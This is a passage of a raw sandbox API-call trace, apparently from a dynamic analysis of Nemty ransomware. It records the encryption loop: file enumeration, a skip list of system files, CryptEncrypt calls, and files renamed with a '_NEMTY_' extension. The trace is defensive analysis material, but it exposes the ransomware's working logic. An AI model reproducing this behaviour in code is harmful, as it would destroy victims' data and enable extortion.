(in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.301] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.301] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.301] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.332] CloseHandle (hObject=0xffffffff) returned 0 [0111.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0111.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0111.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0111.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0111.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png._nemty_kgobjgd_")) returned 0 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0111.333] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2=".") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="..") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="...") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="windows") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="$RECYCLE.BIN") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="rsa") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="NTDETECT.COM") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="ntldr") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="MSDOS.SYS") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="IO.SYS") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="boot.ini") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="boot.ini") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="ntuser.dat") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="desktop.ini") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="CONFIG.SYS") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="RECYCLER") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="BOOTSECT.BAK") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="bootmgr") returned 1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="programdata") returned -1 [0111.333] lstrcmpiW (lpString1="calendar_double.png", lpString2="appdata") returned 1 [0111.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double.png", lpUsedDefaultChar=0x0) returned 19 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double.png", lpUsedDefaultChar=0x0) returned 19 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double.png", lpUsedDefaultChar=0x0) returned 19 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double.png", lpUsedDefaultChar=0x0) returned 19 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0111.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0111.334] Sleep (dwMilliseconds=0x5) [0111.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf601fa10, dwHighDateTime=0x1d561e7)) [0111.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf601fa10, dwHighDateTime=0x1d561e7)) [0111.335] GetLastError () returned 0x5 [0111.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.335] GetLastError () returned 0x5 [0111.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.335] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403b0 [0111.335] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403b0, pcchString=0x653e91c | out: pszString="UjqEajX2KWmWdzIrPiOCCSqC3LLD4goUOMIMF43JV5w3qLPJtGBNe7jNRI4Fwp0a\r\nue7PZIQ0HEEZrM3JmWrBCSHRjtJzgVm5ULyXKmxKNRvk1USjZlreMNvkXPtuWxYs\r\nLB9IcwI43tJkNAgQ6RDGLJMvQEzyzv5yh5Tk5uWjC7scAgG4Mbi4rROLQYcV7nP1\r\nj+L4Nonrz+yGTmnMN4pUnJrPewl23p7xSVvGE1zKxntpXOz70JEU3j6m7EIMSQrb\r\nE7uWJvJVYIEpouKpADw6lvoi01M91yTFt+hnmSaYP3Ni+vH/XQ1WY7zKXqcP8HTD\r\ncT6hybcyh9EDaoDq75k6tw==\r\n", pcchString=0x653e91c) returned 1 [0111.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0111.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403b0 [0111.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.336] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.341] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, 